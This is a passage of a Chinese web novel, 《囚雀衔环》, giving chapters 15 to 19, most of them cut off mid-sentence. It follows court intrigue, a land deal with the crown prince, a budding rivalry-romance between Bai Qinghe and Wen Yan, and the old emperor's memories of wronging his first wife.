“是么……柏二少爷,我们一刻钟前还一同坐在屋子里喝酒呢,你可不得眼熟我么。” 不,不对。 15. 林芷 《囚雀衔环》全本免费阅读 温言耳力好,在翻墙进宅子前,便听到了自己屋外传来的浇花声。 谁有这么好的兴致,竟然大晚上在他卧房门口浇花? 温言脑中缓缓浮现出一道身影,于是从墙头轻巧落地,不紧不慢地踱步到对方身后,正要探头瞧,就被女人预判似的开口喊住:“敢吓我你就死定了。” 这下温言只好停下脚步,敷衍地举起了双手,表示自己并没有这个意思。 女人浇好了面前的两盆,才转过头来,天色太暗,分辨不清她身着何等颜色的衣裙,只能看到外头搭着件白色披风,整个人风尘仆仆,神色间是掩不住的疲惫。 待看清来者,女人似乎松了口气,又转回去气定神闲地洒着水:“怎么你也混得一身酒味,害我以为是锦桢来了呢。” 温言的目光转向对方手中的喷壶:“你刚回来?怎么不先去休息?” “……还真敢问呢,我刚回来就见着这府里的花都要枯死了,再不急着给它们续续命,明早醒来就可以连茎带叶一块儿给挖个坑埋了。” 女人说话间叹了口气,手下动作不停,又浇好了面前这一小排:“我走之前是不是还跟你们嘱咐过,你们倒好,当时一个个嘴上答应得飞快,眼里却都跟看不见似的……是这段时间特别忙吗,连这点空都抽不出来?” “……” 温言平白挨着这顿本不该由他独自承受的数落,转念一想,锦桢那家伙明明比他还不上心……不过是现在回来的正巧是自己,于是只能一声不吭,自认点儿背,试图降低自己的存在感,再找机会偷偷溜回屋里去。 “我看你就挺闲……闲也没见你在屋里老实呆着,倒是学会锦桢在外面玩花天酒地那一套了。”女人口中絮絮叨叨,手上跟着忙活了半晌,才将喷壶放在一旁,算是告一段落。 “‘他’最近正忙着翻新你之前帮着弄到手的那块地,锦桢好像在查柏家的事儿……难得他俩都忙起来了,怎么你看着一点事儿没有?你不是跟柏家那个谁……是叫柏清河吧,关系还挺好,不去给人通风报个信?” “他”指代的是谁,两人心知肚明。 只是眼下好像有更要紧的事情需要澄清。 “你先等一下……”不知是自己也喝多了还是对方话太密了,温言现在才后知后觉地有些头疼,“什么关系还挺好,你这又是从哪儿听来的?” 女人抬起头,一脸无辜地对上温言的视线。 两人望着对方沉默数秒,温言哪还能不懂对方的意思,立马心如明镜。 果然是锦桢这个混球说的。 温言气得有些牙痒痒,扶着脑袋,摆了摆手:“他那嘴你也真敢听,林芷,他都骗了你多少次了,还信呢?” “我不信呀,”林芷先前还困得眉眼低垂,现在却是冲着温言露出了一个狡黠的笑容,仿佛得到了新鲜八卦便真能瞬间重新精神抖擞起来似的,“所以我这不是在试探你的反应么。” 温言:“……” “哎呀,看来还真是真的。”林芷歪了歪头,双掌一合,缓步走到对方身前,“那他说你今天和柏清河一同进销/魂/窟了,还以为你今晚回不来了呢,是不是也是真的?” 温言:“……” 他闭了闭眼,强压住起身去把锦桢拖出来打一顿的冲动,反问道:“……你觉得呢?” “我觉得不像真的……好了,不逗你了。”林芷勾起嘴角笑了笑,算是结束了这个话题;随后招招手,示意温言跟着她走,一边领路一边絮叨。 “去我那喝碗醒酒汤再睡吧……之前我劝锦桢别喝那么多的时候还夸你呢,说你自律自持,肯定比他活得久,现在倒好,偏偏好的不学学坏的,一喝就把自己喝成个酒缸,隔老远都能闻着你那衣服上熏天的酒味儿……” “别以为你自己海量、喝不醉就没事了,身体里还积着毒呢,稍微尊重点我每个月给你们熬的解药成吗……真服了你们了,个个都胆子大得跟不要命了似的……” 温言:“……” 他全程装聋作哑,只觉得自己这运气确实是有点糟糕,明明这么多年就放纵了这一回,偏偏还这么巧,进门就被这最会念叨人的给逮了个正着。 于是温言决心要当个死不吭声的鹌鹑,林芷说再多他都绝不搭腔,在心里默默祈祷对方快些念叨完,这事儿就算过去了,同时脑子里又将锦桢拖出来打了一百零八遍才算是微微解气,跟在对方身后走进了屋。 - “阿嚏。” 锦桢正想轻手轻脚地摸进屋里,就没忍住打了个喷嚏,动静大得让人想忽略他都难。 坐在屋内的锦哲自然也听到了这动静,正在书写的动作一顿,最终还是放下了手中的笔,起身去架上取了件披风盖在锦桢身上,才重新坐了回去:“夜里凉,多穿点。” “我才不冷,”锦桢摸了摸鼻子,嘴上不依,手却很诚实地拢了拢披风,将自己裹在了里面,“我这喷嚏肯定是因为林芷在背后骂我。” “你不主动去招惹她,她又怎么会骂你。”锦哲埋头在桌案前奋笔疾书,口中却句句有回应,没让锦桢的话掉在地上。 “哎呀,也不能算是主动招惹吧……”锦桢回忆了一下自己近期的所作所为,挠着脸,干笑两声,“不过是溜进她房里倒了几碗醒酒汤喝而已,家常便饭的事儿……好吧,等她之后发现了,肯定还是会骂我的……” 锦哲抬头看了对方一眼,嘴唇翕动,最终却只是叹了口气,没说话。 锦桢见对方在忙,不免觉得有几分无趣,只好在房间里自顾自地溜达了一圈。 这地方他早就在这些年里不知来过了多少回,闭着眼睛都能指出每个物件的方位,哪还有半点可看的新鲜玩意儿。 于是锦桢又摸出了自己随身带着的烟枪,披着锦哲的披风,晃着身子又转了回来,停在了对方的桌案前,低头问道:“写什么呢,这么入迷?” 锦哲看着自 16. 偶遇 《囚雀衔环》全本免费阅读 “兄长,你今日是要出门去谈生意吗?”唐知易正蹲在府邸里看佣人们斗蛐蛐,见唐知文穿戴整齐,立马凑了过去。 太子殿下早些年前被封为了睿亲王,之后便迁出宫,住入了自己的府邸——从那之后,唐知易便时常会从宫里跑来小住几天,皇帝拿这位心性仍似稚童的三儿子没辙,左右太子自己也并无反对之意,这事儿就这么持续到了现在。 “嗯,”唐知文点了点头,瞟了对方一眼,看穿了心思,“你想跟着?” “当然想啊,最近没什么好玩的,我都要在宫里待疯了。” 唐知易小鸡啄米似的跟着点头,掰着手指许诺道:“兄长放心,我这次保证全程都乖乖站在身后,绝不多嘴插话,绝不动手动脚,绝不跟对方产生多余的眼神接触,绝不做任何可能产生影响的事情……” “兄长,我的好兄长,拜托了!再不出门我脑袋上可就要生出蘑菇了!” 唐知文被自家弟弟这么一通言语输出闹得头疼,没辙,只能扶着脑袋摆摆手,算是应了。 于是唐知易欢天喜地地一握拳,跟在他兄长的屁股后面上了马车。 约定的地点是座皇城内有名的酒楼,属于皇家的产业,也正因此,自家皇子来谈生意,自然是给预留了观景最好的雅间。 “喔!兄长,这雅间当真是阳光好角度好,俯瞰下去感觉能看到大半个皇城诶!” 唐知易作为皇子中的老幺,平日里与柏清河一样过得十分舒适,懒懒散散又安分守己的当着这天底下身份最牛的二世祖,即便偶尔会跟着他的太子兄长一同出门,也是第一次来这雅间,刚进门就忍不住东摸摸、西碰碰,浑身散发着“闲不住一点”的气息,早就把出门前答应过的什么“条约”给抛之脑后了。 “留心些,这套茶具贵着呢,比你之前摔的那套还贵,”唐知文落座于雅间主位,瞧着弟弟跟苍蝇似的在眼前到处转悠,觉得自己也许不该一时心软将人带来,忍不住提醒道,“还有,别忘了你出门前答应的,风景看够了记得将窗栊拉上。” 待唐知易哼哼唧唧地拉上了窗栊,他们等待的对象也敲响了房门。 “太子殿下,怎的来得这般早,”为首走进的年轻人立马站定行礼,“吓得晚生还以为迟了,想着赶紧赔罪才是。” “无妨,”唐知文站起身,整理好衣摆,才上前将对方虚扶起身,“先生先前在书信中提及的关于城郊粮马道的方案我有些兴趣,这顿该我请先生,就是再多等一会儿也不妨事。” 他说话间不着痕迹地用眼神上下打量了一遍眼前的年轻人,对方的年纪显然在他之下,从面相上看,莫约二十出头;此人身后还跟着另一位身姿挺拔的年轻小辈,从行为举止上判断,大抵是带刀侍卫一类的人物…… 唐知文从容地收回目光,引着对方坐下,双方又不痛不痒地寒暄了两句,直到没什么可说的了,才聊起了正事。 “晚生不过是运气好,之前路过巡检司,机缘巧合下相中了这块地,本想靠着此地上原先的茶馆赚点小钱……但实不相瞒,也怪我是新手,不太懂这行当,茶馆么,放在那种偏门地方,根本就是个入不敷出的生意,我每每看到账本上一列列的赤字便觉得心痛难当,也难怪原主会将其出手……” 年轻人连连叹气,边说边摇头,手上却很识趣地给双方都倒好了茶水,一套动作下来,竟是半点没影响他的思路:“因此我结合铺子的地理位置研究了几日,心一横,如今已然将旧茶馆拆了,新旅馆正按照图纸建着呢,等建成了,哪怕只是用于给往来的商人歇脚,也能确保一定的流水收入……” 唐知文听着对面侃侃而谈,神情若有所思。 他今日来,有一部分原因便是对方拿出来谈的这块地,正是之前贾明一直捏在手中的那块。 他并不知董若晴事后有去问过巡检司,却也不由得猜疑这年轻人所谓的“运气”是否有点太好了,他们之前争锋相对了那么久都没能拿下的东西,这人只是“路过”便能“凑巧相中”? 唐知文不得不承认,将一切都归功于这种虚无缥缈的东西,确实是不错的解释借口。 ——毕竟对方这么说,他也只能这么听,至于信不信……这种无从查证的东西,当然是自由心证。 “……所以等先生建成之后,只要是我的运粮车马队从此处经过,吃饭住店一律八折?” 唐知文端起桌上的茶杯,浅抿了一口:“这条件确实很诱人,但也遗憾,我并不相信这种天上掉馅饼的好事。” “太子殿下这是哪儿的话,怎么能叫天上掉馅饼呢,若事成了,您可就是大主顾,”年轻人脸上适时露出了个讨好的笑,“晚生知晓那道上已有一家小旅馆了,我这店一建成,保不齐对方觉得我抢生意,会耍什么花招呢,我自然要先下手为强才是。” “七折。” 唐知文冷不丁开口打断了对方,比了个手势:“听先生这么说,我似乎捏着绝对选择权,所以高于这个数,我不干。” 唐知易站在后面安静听着,闻言不由得轻声抽了口气……他兄长这压价压得也太狠了。 一律七折,这跟明抢有什么区别。 “太子殿下,这可就有点不给人留活路了……最多七五,”年轻人的目光从唐知易身上一扫而过,脸上的笑意收敛了些,压低声音道,“或者,太子殿下若是不满意,我们还可以聊聊挡着您的那一小片空地该怎么处理。” 唐知文放下手,挑了挑眉。 先前正是因为贾明始终堵着那条行进能更省时省力的道,他才会与对方数次交涉,老实讲,于他而言,贾明死那么快其实是个挺不错的结局。 而在这个问题再次被抬上来的现在,更识时务的人出现了,倒是让他觉得对方脑子转得不慢,且小小年纪就拥有如此思量和眼界,还真是个值得考虑的合作对象。 “唐知易,”唐知文朝身后站着的弟弟招招手,“我这边一时半刻应当走不开,你去跑趟济世堂,将东西取回来。” 唐知易也不是个愣的,一听就明白这是在赶人呢,忙不迭地应了。 年轻人见状,也朝身后打了个手势,让自己的“侍卫”跟了出去。 唐知文的目光从重新紧闭的门上收了回来,又抿了口茶,笑道:“见谅,方才忙着谈正事,倒是忘了问了……先生贵姓?” “免贵姓……温。”年轻人一听便明白这生意已然成了一半,也跟着笑了下,“是二皇子的朋友。” - 另一边。 柏清河躺在床上翻了个身,直到窗外的阳光铺满了整张床铺,才悠悠转醒,睁着眼凝视了好一会儿房梁,又偏过头将目光挪向了床头摆着的空碗……昨日的记忆紧跟着如潮水般涌入大脑,他呆楞了好一会儿,才猛地坐起身。 我靠。 柏清河捂着脸,有些崩溃地坐在床沿。 ……昨日发生的都是些什么事儿啊! 言语轻佻就算了,怎么还什么丢人的话都往外漏,跟个二傻子似的,甚至还敢动手动脚…… 柏清河现在光是这么回忆着,都恨不得杀回去扇自己一耳光。 他本想强迫自己冷静下来,去仔细琢磨下那些四散纷飞、扯得他心绪不稳的朦胧碎片到底是些什么东西,脑子里已然自动跳出了温言那张顶着夕阳凑近自己的脸…… 啊啊啊啊啊不能再想了! 这怎么可能冷静下来啊! 柏清河瞬间从床沿弹起身,像只无头苍蝇似的在房间里转悠了两圈,努力地说服着自己。 ——没错,这一切、一切都不过是酒兴上涌所致。 他只是喝多了,喝多了所以面红耳赤很正常,心如擂鼓也很正常,这是喝酒喝上头后会产生的寻常的生理反应,跟温言这个人、这张脸绝对没有半毛钱关系……哪怕他现在清醒过来,不得不承认温言确实长得很漂亮,那时候的种种思绪也绝对跟这家伙没有任何关系…… 再说了,他会说那些丢面子的话明明也不全是他的错,是温言在明知他喝醉了的情况下还偏要逗他,事情才会变成这样的…… 事情才会变成这样的……吧? 柏清河越想越头疼,切切实实体会了把“心乱如麻”的感觉,觉得自己简直是丢人丢份儿丢到家了,只能由着对方那寥寥几面中的一举一动在脑中不断闪回,逐渐起了些隐秘且微妙的好奇。 温言会如何看待这件事? 会同他这般心神不定吗? 等下次再会,又会如何看待他? 柏清河还没琢磨出个所以然呢,就听到了一连串急促的敲门声;望尘的脑袋紧跟着从门缝中探了进来,说道:“刚走近就听到少爷您搁屋里踹柜门呢,大早上的,谁惹您不高兴了?” “少瞎打听,没要紧事儿就一边去。”柏清河装作不经意地收回了作恶的腿,成功挽救了摇摇欲坠的矮柜。 “还真有要紧事,大少爷喊您过去呢,说是柏大帅往家里寄信了,指明是给您的,”望尘竖起了两根手指,说完一件后放下了一根,“另外,大少爷的腿疾也该去济世堂复诊了。” 皇城内最著名的民间医馆便是济世堂,其间藏匿能人无数,凭着“拦枉者不渡忘川”一词闻名于世,对求医者向来一视同仁,从不攀附权贵,倒是在皇朝更迭下明哲保身,屹立至今。 ……差点还真把复诊这茬儿给忘了。 柏清河揉了揉眉心,示意望尘赶紧把屋里那空碗给拿走,才收敛心神,抬脚往前院走去。 “给我的?” 柏清河接过,一把撕开信封,捏出 17. 侍卫 《囚雀衔环》全本免费阅读 唐知易这愣头青显然没能觉察出柏清河正陷入了某种微妙的踌躇中,径直凑到了对方身前前,问道:“柏兄你怎么在这儿呢?” “哦……陪我哥来看腿。” 柏清河这才敛回心神,简单答了,又分别给两位做了个聊胜于无的介绍。 “三皇子,久仰。” 柏青舟与唐知文相识多年,怎么可能认不出当朝三皇子是谁;只是由于身子不便,草草一拱手,就算是行礼了。 唐知易热络地上前扶起了柏青舟的手:“不必行此虚礼,柏……大哥好。” 当今皇朝诸事皆有唐知文这位太子殿下顶着,唐知易这三皇子显然也是被他这位哥哥给一手宠大的,说话举止间没那些虚头巴脑的礼仪讲究,乍一看,心性甚至颇有些像早几年的柏清河。 柏青舟心里这般想着,面上也跟着勾起嘴角笑了下——这股傻劲儿倒是意外给唐知易增添了不少好印象。 “不顺便介绍下这一位吗?”柏青舟精明得跟只老狐狸似的,收回手便笑眯眯地将视线投向了站在对面、始终默不作声的那个人,“你们看起来像是也认识。” 他语调轻缓,话中内容却带着份从容的肯定。 “哦,柏大哥我来跟你说,他是今天……”唐知易刚开口准备接茬,就被柏清河抢先一步打断了。 “他是……三皇子的带刀侍卫,之前在宴会上草草见过一面。” 柏清河干笑两声,难得插嘴插得这么快;脚下不着痕迹地往他哥面前挪了一小步,在挡住对方视线的同时,奋力朝着唐知易那边挤眉弄眼——心里默默祈祷着对面两人能看懂他的意思,顺着这台词往下演。 “啊对,对对……这是兄长派给我的……侍卫。” 唐知易虽然完全没明白柏清河的用意,但好歹算是识相的知道自己这时候该跟着对方的脚步走,因此尽管演技十分拙劣,现编的词还没在脑子里盘顺,就先磕磕巴巴地从嘴里吐了出来。 “这人太闷,平常没什么用就没带在身边……真是巧了,偏偏今日想着带出门来散散步……又给柏兄碰着了……哈哈……” 柏清河:“……” 别哈了。 柏青舟能听不出来这是编的就真有鬼了。 就在柏清河准备放弃抵抗、原地投降时,柏青舟伸手抓着轮椅,绕过了柏清河横在自己面前的脚,又往前推了几步,最终停在距离对面那人仅剩一步之遥的位置。 这个距离太近了,近得柏清河没来由地生出股危机感,连带着心脏都悬了起来,忍不住跟着上前了半步。 即使他明知道对方绝不会发难。 对面那人似乎是被柏清河这股担惊受怕的维护样儿给逗乐了,脸上端着的笑意加深了两分。 明明现在步步追击的是柏青舟,自己一个站在这儿当“活靶子”的都没紧张,他柏清河紧张个什么劲儿。 “侍卫?太子殿下倒是挺有当兄长的样子,还给你换了个侍卫,”柏青舟口中的话虽是对着唐知易说的,目光却停留在这位“侍卫”身上,甚至明目张胆地上下打量了好几眼,随即话音一转,“——敢问贵姓?” “……免贵姓温,温言。”那人微微低下头,脸上的表情被掩住,看起来倒像是揣着副温驯样,“柏大少爷,久仰。” 这人姓温。 柏青舟若有所思地一点头,无端想起前段时间柏清河跟他随口提过的一句话。 于是他轻笑一声:“好名字,这姓氏倒是少见。” 可怜柏清河站在旁边,听着这话全然是另一层意思了:这哪里是在说姓氏,分明是在点他呢。 温言在听柏青舟说话时,始终微垂着头,眼下倒是神色坦然,话中不卑不亢。 他答道:“家境贫寒。” 因此柏大少爷没听说过,也是正常的。 “原来如此,怪我见识浅薄了……” 柏青舟正想再用车轱辘话客套两句,旁边难得闷不吭声、差点被众人忽略的唐知易却突然反应极大地叫了一声。 “你……原来你不是个哑巴!你骗我!” 温言:…… 柏清河:……? 柏清河背上差点被他哥整出的冷汗这下子全收回去了,心里纳闷,三皇子这又是在唱哪儿出啊? “前两日染了风寒,嗓音沙哑,不应多言,”温言朝着唐知易转过身,送了对方一个眼神,才压着声音继续编道,“望三皇子莫怪。” 唐知易被看得打了个寒颤:“……不怪不怪。” 开玩笑……他哪儿敢怪啊!这人看起来下一秒就能把他手撕了! 柏清河心道,总算是来了个演戏靠谱的,连忙跟上:“既染风寒,少说两句也是应该的。” “是啊,本想再多聊片刻,真是可惜了……”柏青舟还是那副笑模样,朝柏清河招招手。 这便是要告辞的意思了。 听着这话,除了全程没能摸清头脑的唐知易有些不舍,其余二人总算是松了口气。 柏清河重新站回到柏青舟身后,平稳地推动了轮椅,步伐缓慢,与温言擦肩而过的瞬间,偏过头,用刻意压低过、几乎是从牙缝里挤出来的气音吐字道:“温公子倒是装挺像啊。” “都陪着你演戏了,怎么语气还这么横,”温言嘴唇也几乎没动,压着声音回嘴道,“柏二少爷可别忘了,你还欠着我工钱呢。” 哼。 柏清河挑了挑眉,欠钱这事儿他自知理亏,讨了个没趣,便不再接茬,推着轮椅走远了。 柏青舟一路无话,不知道在暗自思忖些什么。 他不吭声,柏清河跟在后面也没言语,兄弟俩就这么出了济世堂大门后,才终于是由柏青舟开口说了第一句话:“那个温言……” 得,该来的躲不掉。 在先前沉默着的时间里,柏清河就一直在琢磨他哥到底掌握了多少信息——虽然肯定比自己掌握的少,但要真盘问起来,想把谎话编圆也并不容易。 毕竟他活这么大,平日里小滑头耍得不少,大事上骗哥哥的次数却真是寥寥无几。 ……骗成功的次数更是感人。 柏青舟的话音轻飘飘地落了地:“……你们宴会前就见过了吧?” “嗯。” 柏清河秉持着“多说多错”的原则,决定当个鹌鹑,对方问一句他答一句,防着他哥从他嘴里套出任何有用信息,多余内容一概不提供,跟挤牙膏似的,一个字一个字的往外蹦。 “别紧张,这是你自己的事,合该自有分寸,我不会同小时候那般多过问,”柏青舟何等了解他这个弟弟,对方一漏音他就能猜个七七八八,不由得失笑,转了话题,“我是想说,太子殿下这法子有门,我们之前竟然都忽略了这个方法。” “你想在皇城里雇个人当带刀侍卫?”柏清河没想到话题会转回到这件事上,皱着眉想了会儿,摇头道,“不成,地下赌坊里的那群人虽有能力,却只到勉强够看的水准,况且人品和忠心程度也不值得信任……” “不,我说的不是他们 18. 连廊 《囚雀衔环》全本免费阅读 药房内坐着个头发花白的老大夫,脸上架着个厚厚的目镜,见唐知易来,立马熟门熟路地从旁边包好的几摞药材里翻出了一份,递了过去。 “三皇子,久违。”老大夫略一拱手,并未起身,只是在名册上做了个记号,示意唐知易签字,“今日怎么是您来拿药?” “太子殿下日理万机,我闲得没事儿,正好帮忙。”唐知易签好了字,也回了个礼,“多谢老大夫,请问可还有其它需要注意的地方?” “无甚,药量照常服用即可,”老大夫应了声,手边天秤上还放着几味没来得及包好的药材,确认唐知易无事要问,便准备赶人了,“三皇子慢走。” “多谢老大夫。”唐知易又客气了一句,退了出来。 唐知易刚关好门,只见一个颇为眼熟的人影从连廊尽头疾步走来,行至近前,他才总算看清了对方是谁。 柏兄怎么去而复返了? 还走得这么快,急吼吼的,跟落了什么宝贝似的。 “三皇子见谅,劳烦您去外边儿找个地方等会儿,别走远了,我找您的侍卫有点急事。” 柏清河冲着唐知易劈头盖脸地砸下来一串话,也不管对方听清记住了没,伸手一拽温言,拉着人就往连廊的另一侧走去,头也不回:“很快,三皇子放心,说完就回。” “啊……哦。” 唐知易被对方这风风火火的气势吓愣了神,没明白自己该放什么心,直到人都快跑没影儿了才缓过劲儿来。 只不过他信柏清河,于是选择依对方所言,在这济世堂内左转右转,找了个不太起眼的地方,坐下了。 温言手腕被柏清河拽得生疼,奋力挣扎了两下,未果,只好出言嘲讽道:“柏二少爷这是撒的哪门子邪火,我今日应当没招你吧?” 柏清河将人拽进连廊拐角,推开了一间长期无人使用的落灰药房,木门难以受力,在窗外的风声中发出吱呀声响,将连廊远处的嘈杂尽数隔绝开来。 他像是直到这时才发现自己的失态,讪讪松开了手。 “是……你没招我,是我有事找你。”柏清河低头看着温言慢条斯理地整理被抓皱的衣袖,其下的手腕皮肤已然泛起红痕,是他方才使力抓的…… 如此想来,语气又不由得放缓了几分:“温公子,有件正事烦请帮忙啊……” “上回的钱还欠着呢,就敢用这种态度来找我谈新活,”温言仔细听着左右的动静,确认这空间内只剩他们二人,也跟着放松了几分,将背部抵在门上,“柏二少爷,我这人不招待祖宗。” “这事儿怪我,最近手头稍微有点紧嘛……”还赊着账的柏清河明显底气不足,自知理亏,又换上了那副善于花言巧语的嘴脸讨饶,“温公子放心,这回若是成了,我保准之后送你份大礼。” 温言挑了挑眉,心道你柏二少爷眼下可是连现钱都拿不出几个,还敢在这给我夸口? 面上却不免觉得有趣,横竖猜不出能让堂堂柏二少爷如此着急忙慌来找他的是什么事,决定先听听看,于是抬手比了个“打住”的手势:“大礼放一边,先说事。” “不是难事,只要温公子愿意给我哥当几天侍卫就成。” 柏清河见温言准备拒绝,连忙补充道:“我哥的生活起居都由府里下人负责,你只用在他出门的时候帮忙推推轮椅,谈事的时候当个站桩的木头就行。” 温言:“……” 听起来真是个很容易很划算的生意。 可惜温言先前调查时,不光做了柏清河这人的“功课”,也顺带补了点柏青舟的,知道两人身边常年跟着望尘和望洋——以他们的能力,根本不需要再多寻个人来做这份工作。 除非…… “皇城内虽鱼龙混杂,但也不是谁都敢打柏大少爷的主意,恕我直言,这事换谁都能做,”屋内闷热,温言不动声色地伸手松了下衣领,抬眼望向柏清河,“你们什么时候离开皇城?” 你们? 柏清河一愣,眼神瞬间变得凌厉起来。他走近两步,正面迎上温言的视线,几乎挡住了对方所有的去路。 “温公子,太聪明可是会让别人感到困扰的……你莫非知道些什么?” “柏二少爷,疑心病收一收……你们柏府的事,我自是一概不知,却并不妨碍猜测。”温言眉头一挑,知道自己这是猜对了,半点不怵,反而直接将心中猜疑讲了出来。 “若是往常,望洋的位置空了出来,你和望尘应该都能顶上,现在却需要来找外人,说明出现了你们三个都腾不出手的情况……” “倘若你们只是在皇城内忙,地下赌坊能接这个活的人多了去了,眼光好点,被挑中的说不定为了攀上柏家的关系还会拼命努力表现,可你却略过那些人挑到了我头上,哪怕我是个……” 温言说到这里,语气一顿,有些自嘲似的笑了一声,才接道:“……立场不明的心怀叵测之人,你也不得不用到我,说明你们三个人肯定都离开了皇城。” …… 柏清河沉默半晌,突然笑了,若不是时机不对,他简直想给温言这段分析鼓个掌:“听话听音,听一猜十,温公子这能力我今日算是见识到了。” “是你自己关心则乱,破绽太多,”温言双手抱胸,微微仰头,开口间放慢了语速,诱导似的叹道,“别忘了我们也算是知己知彼啊,柏二少爷。” “知己知彼”四个字被咬了重音,听得柏清河眼皮一跳。 “可不敢当,还差得远,”柏清河不着痕迹地打量着温言,似乎是想从细枝末节处捕捉破绽,“谁让我选择信你呢,这事儿只有找温公子你来我才安心。” “那还真是多谢赏识。”温言勾起嘴角,露出个一瞬即逝的浅笑,“时限?” “十天,或是半个月……都有可能,我说不准,”柏清河状似苦恼地叹了口气,“我这边的事儿处理起来麻烦,万一弄得不好,缺胳膊少腿都是常有的事,能不能回来还说不准呢,若是到时候回不来了,这可就是我最后的心愿……” ——温公子你可千万要答应啊。 “少张嘴胡说,柏大少爷看着可一点儿不紧张,”温言虽不知对方是要去哪里、做什么,却也不免听得有些心惊肉跳,差点被这口头上的“苦肉计”给迷了法眼,立即打断了对方,“我不接长单。” “苦肉计”没能奏效,柏清河也不意外,心里那点小滑头简直是层出不穷,瞬间又想到了个新招。 ——耍诈。 “温公子若是执意拒绝,我可就只能让你在这多呆一会儿了,三皇子那边会发生些什么……也是说不准的。”柏清河低头笑了,一手抵着门,倒真有点誓不罢休的意思。 温言敛眉:“你威胁我。” 诈到了。 “光天化日下敢对皇子动手,柏二少爷莫不是潇洒过头、嫌命硬了?” “这又是哪儿的话,我可是一直好端端的站在这里跟温公子谈着生意呢,就是想去见三皇子也不免分身乏术啊。” 温言:“……” 19. 发妻 《囚雀衔环》全本免费阅读 翌日一早。 唐知文正要去给他的父皇知会一声昨日谈拢的生意内容,就听见勤政殿内传来训斥声。 当朝皇帝虽曾在明面上表示未来会对生意上的事撒手不管,由着已经长大了的皇子们自己去闯出一番作为,但多年来养成的习惯还是使得唐知文会三不五时的去“知会”一声——只不过他本人已年近三十,不但稳坐太子之位还获封了亲王,手中的权柄越来越大,早已逐渐不将年迈的皇帝所言放于心上,此举单纯为不落人口舌,是通知,而非听取意见。 可惜的是,年迈的皇帝本人似乎并没有这份觉悟。 “朕前段时间才让太子分权让利,放点粮道在你手上,盼着你能从中做出点实绩,你倒好,除了辛城那条道,别的竟然全是亏损!你倒是告诉朕,运粮卖粮这种稳赚不赔、放给条狗都能做好的百姓生意,你是如何能做到亏损的……” 唐知文支走了太监,没让其通传;他远远停下脚步,偏头望去,只见老皇帝一手揉着胸口,面色赤红,一副心气不顺、气火攻心的样子,另一只手则指着唐知理,抬在半空中一点、一点地抖着。 “朕虽不指望你能同太子一样有出息,好歹也别总在外面闹些丢人现眼的笑话,你以为你是在跟谁比?啊?”老皇帝说两句话便要喘一口气,显然是气急了,一副心有余而力不足的严父模样,声音里透着失望和颤抖。 “这皇城里最没出息的,除了你,就剩柏家那个柏老二,可人家年纪还小,还有的是时间,过几年玩醒了,照样能被夸个‘浪子回头’,你呢?你已经这个岁数了,仍旧半点能力没有,还剩什么啊……” 唐知理低头跪在殿中,没人能看清他藏在阴影下的表情,只能听到老皇帝一声接一声的叹息。 “这皇城看着风平浪静,底下却藏着不知多少能吃人的魑魅魍魉,你啊……” “父皇,城郊那条路的谈判有进展了。” 唐知文见里面的气撒得差不多了,才重新缓步走近,单刀直入地岔开了话题:“贾明那茶馆如今被一位温先生接管,他昨日主动找到我,想要合作……” 唐知文特意略过了过程中出现的某些交谈细节,只对结果进行了简短的传达。 抬眼望去,他的这位父皇还坐在椅子上扶须顺气,而那边同父异母的皇弟也还是默不作声地跪在原地;对于这两人,他都只是平淡了扫了一眼,没再有过多表示。 唐知文就像“三足鼎立”里的那第三个“角”,自发地、严丝合缝地远远踩在了属于自己的位置上,对其余一切都只给出漠不关心的从容且淡然的态度。 老皇帝却抬起目光,盯着面前这位从容不迫的大儿子,又好像是透过这层影,看向了别的故人,不由得有些恍惚。 曾几何时,他的后宫中也是有过女主人的。 那个女人跟他说话时总眉眼含笑,温柔得像一汪清泉,举手投足间满是名门闺秀风范,而彼时的老皇帝也不过是前朝太子,两人正算得上门当户对。 于是他给了那个女人三书六聘,将人明媒正娶迎进门,过了两三年,唐知文便出生了。 这孩子的眉眼与他母亲长得相像,他很喜欢,回府后总忍不住抱在怀里,捏捏小手,给他唱点从奶娘那学来的、音不在调上的童谣,再瞧着这孩子咧着嘴笑。 此后又过了两年,皇城内变故陡生,多个盘根错节的老世家在夺嫡之争中被血洗,连带着他这位无甚作为的太子也过起了朝不保夕的日子。 他为了保住性命,只能赔着笑,穿梭在各种歌楼、酒肆间拉拢朝臣,喝多了就去催吐,漱个口、抹把脸再重新回到桌上,接着喝、接着笑……哪还有半分曾经的风光无限,简直落魄得宛如一条无家可归的野狗。 而就在这个时候,他遇到了另一个女人。 这个女人与家里那位浑然不同,两人都借着酒意,半推半就在外面混了一晚。 第二日回府时,他对上了那个抱着孩子的女人的眼睛,无端心虚起来。 人上了年纪,总忍不住回忆往昔。 近些年,他夜里辗转反侧无数次,总忍不住地想,忍不住地猜,猜他当年的演技也许并不好,对方是否当时就已经发现了端倪。 可当年的他从未想过这个问题,还以为自己藏得很好。 他想,她毕竟只是一个被家族丢出来当棋子的女人,即使是屋檐漏雨,她带着孩子,没有半分生计,又能去到哪里? 而他不同,他是太子,即将坐上皇位的太子。 直到外头女人的肚子一天天大了起来,他“被逼无奈”,又半推半就地将这个女人也迎娶过了门。 他安慰自己,男人嘛,三妻四妾再正常不过了。 不过是因为潺潺长流的泉水终究比不过烈火入喉的浊酒。 如同山盟海誓永远敌不过人心。 唐知理就这么紧跟着诞生在了宫里。 而他的那位发妻……虽从此贵为一国之后,却再也没有冲他笑过。 这个女人对人对事永远都留有着体面,不光留给自己,也留给旁人,纵使心里再厌弃作呕,她也从不会去苛责对方和孩子。 她被“培养”得太好了,好得泯灭了人性,违背了本能……经常在寝宫里一坐就是一整天,像块丢了五感的活墓碑,只会冷眼旁观,由着对方像个跳梁小丑一样在她的地盘上撒泼撒野。 不会哭叫的孩子没有糖吃,不会哭闹的女人无人过问……没人在意她需不需要“糖”,她只是只早早就被折断羽翼、关入笼中的鸟雀。 鸟雀是没有资格讨糖吃的。 女人就这么浑浑噩噩的又活了几年,他偶尔午夜梦回,想起她,就会来她的寝宫里坐一坐,一坐一整夜,唐知易就这么来到了她肚子里。 于是她终于崩溃了,每每对上男人的视线,看着他们笑语嫣嫣,就想杀了肚子里的孩子。 她无数次地想,翻来覆去地想,彻夜难眠地想…… 可偏偏唐知文什么都不懂,还在会趴在她的膝头,将耳朵贴上她的肚子,雀跃地问她“母后,我未来会有个弟弟还是妹妹”的年纪…… 她只能揉揉唐知文的脸蛋和头发,再在这孩子的额头上烙下一吻,轻声细语地告诉他,我也不知道,孩子,我们一起等等吧。 这是她的孩子。 她到底是不忍心。 于是她熬,每日每夜的熬……熬到唐知易出生,熬到亲眼见着男人时隔多年,再次爱不释手地抱起了她襁褓中的孩子,熬到翌日清晨…… 